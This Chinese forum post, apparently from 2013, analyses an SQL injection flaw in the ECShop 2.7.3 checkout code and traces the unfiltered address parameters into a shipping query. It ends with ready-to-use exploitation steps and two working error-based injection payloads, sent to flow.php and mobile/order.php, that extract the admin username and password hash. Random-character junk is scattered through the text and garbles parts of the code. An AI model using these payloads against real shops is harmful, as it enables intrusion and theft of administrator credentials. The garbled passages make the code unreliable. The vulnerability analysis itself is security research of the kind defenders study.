前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。/ _) S9 m: s2 L3 B3 I2 }
1 c6 f g# R& A 漏洞关键文件:
8 d2 ?" m8 ?$ f* Z2 p0 _1 w1 x t& q& ^& X
/includes/lib_order.php
) f% t1 W2 A3 I
8 i" P$ }! z- q1 o 关键函数: {# i3 o' H6 I7 h
, O3 ]. ]* D0 U3 d9 b
+ j6 R/ k* [0 ?4 b1 H) U, H
+ T: a; W' T0 O2 {/ o8 c( I01 function available_shipping_list($region_id_list)
2 B# \) U) G. i0 ]5 \
" g( Q1 _/ H* s- `) O02 { % x& G# W, @9 m) O8 H
0 W! z' B$ u' B9 \03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 4 d7 j$ \& E/ A( g Y
) R$ V+ R, p1 t0 @04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 8 u# w' i9 c, w' T
- W" e- [# u0 }
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
4 y% ? M& e0 j! P4 J. J6 J4 V, } a7 i% T( G
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 e* ^3 L3 l0 @5 t
- F8 |) t |; y- Z c y07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
: e1 C) n& X6 n. N; }/ }& L
7 e, h# A( Y& P* G$ I) Q/ `1 w08 'WHERE r.region_id ' . db_create_in($region_id_list) .
% a) n: n; F3 P; a4 q. m
6 {2 r$ h+ P) @5 a2 \! f09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
* J5 t' m" T1 o9 s! B* @
4 h2 X& r1 p+ _4 e# i8 z! c6 Q2 R. o10
* g/ K# L, F! Z2 {! z7 e/ p4 O4 W% i' I8 k
11 return $GLOBALS['db']->getAll($sql);
& P5 v0 s% F1 G) Y! W% l0 C& }( k2 ?, S* \: `# _) L
12 } / N% i" n1 ]5 i" ^2 A
$ V1 l- V9 _5 _! Q( K# r显然对传入的参数没有任何过滤就带入了查询语句。: D7 p4 B6 b S3 K
5 M/ Z9 I. h; Z2 r9 i
下面我们追踪这个函数在flow.php中:
1 I! ]1 R* w3 N5 T 第531行: * R, x* [1 ~( l, h/ o8 x
4 ^9 {0 X) i/ w8 j7 |' S
1 $shipping_list = available_shipping_list($region);
- x/ [! l+ g. D" ^8 j$ R9 x: O
: P/ ?4 t9 Y4 n - C* Y2 E6 y5 b5 L: K
" E9 `4 G8 Y& `# [1 A
7 N, a9 L9 X1 S6 Q; X
9 Z. @" b2 L. \4 Y1 W% m
再对传入变量进行追踪:4 v) }. Q$ a1 N |
7 I" R! N, i0 U+ E第530行:
2 w' B B1 N& D4 ~3 B
9 _+ I! t# O3 K( R) c1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
" G" @; u8 x4 g2 B& W r
/ X- p F5 T2 V; S8 `0 Q% f, k! L " t) V* n6 ~) l& k H* i( M
0 b9 x. `$ d% u i/ f/ @
3 @* r9 Z" a3 ]9 g
( h" G, p7 Z% K1 m$ {) {" V; J' C第473行:
' }% W: p& }9 X7 N1 K0 I
& k. B! K# ~; |. t9 N: a% n1 $consignee = get_consignee($_SESSION['user_id']); 6 z8 @1 S# A! _$ {3 C" @3 A
' `- s8 r P6 U( x" X( q! R& M8 b
到了一个关键函数:
_! T2 o8 @/ p
4 p( W# E0 o8 r+ U/includes/lib_order.php
8 q3 H/ b& B0 a, v/ w6 m% C
0 \* X" v& R: y y2 O5 a+ \# r ! \' ]! t5 X0 B6 Z
' j; ~0 n( }' s, e; n" V+ R v- X
+ b% V( {/ d" w+ |3 ]+ N; `* H
6 o8 @# {6 y8 s, q01 function get_consignee($user_id) 3 T) A- W, l4 w& R/ K+ u# y
2 b0 b: s, B: M" Z5 x
02 {
# |) R& _% i. k- @" P
, P; ^8 Y4 z( {1 ^7 e8 F H03 if (isset($_SESSION['flow_consignee']))
& R% [' \5 F e
' p% L- B! y$ V% U04 { % |$ d9 E. c1 c9 u* b( r
8 o D m8 Y$ r8 a8 |
05 /* 如果存在session,则直接返回session中的收货人信息 */ 4 _4 ^, l' z8 ?& Z7 g
9 I( ]4 D4 h+ v/ \06
, i! S/ j' k0 j2 N6 X' y) N' t; g7 u3 q0 j
07 return $_SESSION['flow_consignee'];
9 z3 G! v6 w" L7 T. V% P- R! |$ }9 C7 }; r
08 }
& p! Z+ c* Z9 Y& h9 ]# O
1 _ z- E9 H. {! P. |09 else
2 B: u/ e3 \; r: t, B: t. w: M$ Q. {5 g& r4 @( q
10 { 0 F2 U6 X: ^5 e, u) X: j* h
) u3 I) z R2 b9 ]( @9 {* h11 /* 如果不存在,则取得用户的默认收货人信息 */ " u1 Q6 K, ?2 w
: q$ X8 U& Q5 Z+ P k8 B: v% w0 `
12 $arr = array();
" l( @. z4 T& |7 Z P- ^& V2 R
" F4 a; i. z5 t13
2 ^) n" C9 V- t6 F
" ?. [$ I7 ^2 p14 if ($user_id > 0) " `+ O, J+ P5 h9 P6 c% }
) T! a" }# q, @. E& [15 { . t1 i3 N, z8 l; M
% I& z; `* W6 I( H4 c' E4 D; Y16 /* 取默认地址 */
2 n+ W9 Y* C0 e5 L- x+ |4 k5 ~3 S" G
17 $sql = "SELECT ua.*".
/ C- h6 Z$ C: d' ?# N4 u* M
$ M( B. Q% p6 {1 \18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 7 U3 m& ]. n6 T; y; b
/ Z: h9 q" a& x) Y1 Z u19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
# R ~' a* K7 C k9 L9 ^
+ g ~7 y0 I+ K' L# L$ o20 2 i* B f' K$ @+ B! G
' [: u9 v& b. K' B# {
21 $arr = $GLOBALS['db']->getRow($sql);
- R4 f' l" K3 C7 @3 R" u
5 l( c6 \4 [/ A# k r) z' H22 }
) ?2 I. q7 w4 ^ J' P
, I2 R* ?3 D: X0 z, r7 o23 ' ~0 S- s3 {$ I( f4 T
% n$ R) B; s: U' o; m24 return $arr; ; r! Y% V; R$ B/ X) j6 n) G
% X6 ?: w+ A* f; ~1 _3 M25 }
2 T' H, p, v; g. q* G1 c/ P3 M
2 G3 ^6 s" |5 ]26 } ( c% i9 |4 r. X( A- A
# Q# n- w0 b$ W
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
, d* P6 n9 @/ d& I8 [" b
; z+ t% q, E( Y) O: U6 x# e
?) N! s9 S' @6 R2 u( K
& b0 v0 d& f* m9 f- w" r) z关键点:, R' p* s/ H6 K9 t [
- V1 b, J8 H$ p/ ?' g4 L# W1 u
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
" E6 x' v- }$ ^# X: Q4 _7 Y1 ?. w. I t4 S; t! P$ U
这里对传入参数反转义存入$_SESSION中。
' ?0 F! t ^2 T- A) D5 A5 i0 `% W( [" f! r6 q6 k7 g
% {1 [4 ~! H# K
' k: H, G: w* B! L8 u然后看下:
8 U, j6 x* W7 x: y, _( s0 Y2 L5 E3 k1 m/ Y5 x8 R& s
$ e: e; n7 ~: x, z! u5 i3 S% X7 ~6 |* \ q0 r
% |9 H4 u5 T4 n, K
% Z* Z) n3 S/ Z7 {01 $consignee = array( ; d) |; z/ `+ n5 B: A2 F
3 d5 z2 j' ?8 ?! Z+ ~
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), $ n+ z9 e/ _# T2 G- N
, Y/ `5 s+ H% m% t03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 3 i) r% D \! |* c6 f* X) f
$ ?! h; ]- }8 S. f- O# Y
04 'country' => empty($_POST['country']) ? '' _POST['country'],
8 [* m( X, _5 U7 Z1 v8 N: \0 l* `
, E3 t3 P/ ^( ]6 P* M05 'province' => empty($_POST['province']) ? '' _POST['province'],
& x0 x$ s. v/ w6 u+ p, ]( Q* b
- K1 d% c: [; K3 ^06 'city' => empty($_POST['city']) ? '' _POST['city'], ' n2 a' v2 y! h; J
$ F0 f+ O) Q! S, I2 O5 Z5 B! L07 'district' => empty($_POST['district']) ? '' _POST['district'], # H" n& `% q; P! C& i* T
) A9 x9 K; a9 \, `9 ~9 v9 a
08 'email' => empty($_POST['email']) ? '' _POST['email'],
" B8 N! H* i$ p. [5 O# o0 j9 q9 w2 h8 z/ J, z% _- j
09 'address' => empty($_POST['address']) ? '' _POST['address'], 3 y' `7 j- S/ l7 ^2 T
) w+ R+ W& u6 Y. m
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
1 [2 v8 D; Z5 m1 ^ _1 k; L) h' ^! o" z" g1 @5 H" E
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), , k* _% ?; F4 L; A
& i6 K4 W7 |5 u" _7 `7 O$ K
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), , L) i- l6 O/ r& t# y$ ~6 Y. j; m
1 _; r, w* _# r7 @1 {; B2 V- i13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], # M- [" e5 W' s: m4 k& Y2 @# P
; ^! I; h, f: ?0 s$ Q y u14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], `' U& Q# I" {- F
5 t1 |1 F1 Q$ @2 \6 o
15 ); 6 N+ }" H% M3 u W3 G
F: u8 s3 z# e/ \% Q2 N: c$ {好了注入就这样出现了。' w9 h9 A5 S- T9 {8 [
: t6 w- [' e" q1 }4 u3 L3 x2 _5 o==================; l, t' A y! r% t- P3 { a! o
. c$ F, `2 k6 _* P8 K
注入测试:$ G9 X4 ]: g# L n5 P, R- B
. g. `% @5 D6 r J1 V2 K环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16): }+ K! r9 i& v2 x+ |
$ L% y& L) h: T/ O测试程序:ECShop_V2.7.3_UTF8_release1106
( }2 o& V9 i6 ?4 V* {6 |) _7 Y( o; @' u% J2 T, E
0 E$ u$ u& F- ]- }8 H/ P4 q& h# a, Y0 u/ q$ n8 W
1.首先需要点击一个商品加入购物车$ f f4 H: W' M1 S y8 I
& v7 c$ A3 C8 ]/ v" v2.注册一个会员帐号
- A8 N; R2 T1 q' A* k; l$ B$ c6 h- e( t1 G
3.post提交数据! z) Y$ D6 N' e% R
6 u$ H2 i- s. i
3 M+ G$ s- |6 ~2 z4 H4 Q, U3 A5 O j8 \$ y) \+ X' i- e. _
1 http://127.0.0.1/ecshop/flow.php ' U" _% i0 t- `; D4 ^) ]
8 B+ {- {" [2 h3 E9 S
2 ; T! ~- x9 u- V2 ^- u
: Y2 ]5 ~2 s1 M3 G( E' c3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= + N" m0 F' H& }. G1 G
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
, {8 R# @ A% w' y8 s2 Q8 G3 o; ? Z& b; d [" S
我们搜寻关键函数function available_shipping_list()
( ~' O) h$ \1 w8 k% g& n8 r
J& \5 E7 h' w1 }7 I( u: c在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同; D5 n. F% ?: i# s
( b* ^ q/ D' ~7 I6 g, g利用exp:6 C% `) B# H. S7 |4 b# ?
, d+ c9 c& Q- e8 P; u! e
1.点击一个商品,点击购买商标
- X) i; m) S; E6 Q5 U% N9 U: E8 |, l1 V, i% e
2.登录会员帐号1 K) U' |( ?/ ^3 q9 c: ?: m
& f& N+ U) Y/ M3.post提交:% Q- s$ h4 L( w8 u8 O
; V) ^8 i3 }4 h9 ?) Rhttp://127.0.0.1/ecshop/mobile/order.php
8 G. b' R2 j; K9 i, Q+ m% v2 y8 O+ G* U( b
9 b6 s# k7 |- E+ t2 D! q I% c
$ V( z; z2 O! l! Ucountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. [6 x& c" U' K* j5 {/ N, J# ?5 V
* y2 D$ G; X( S& x0 y9 G; } |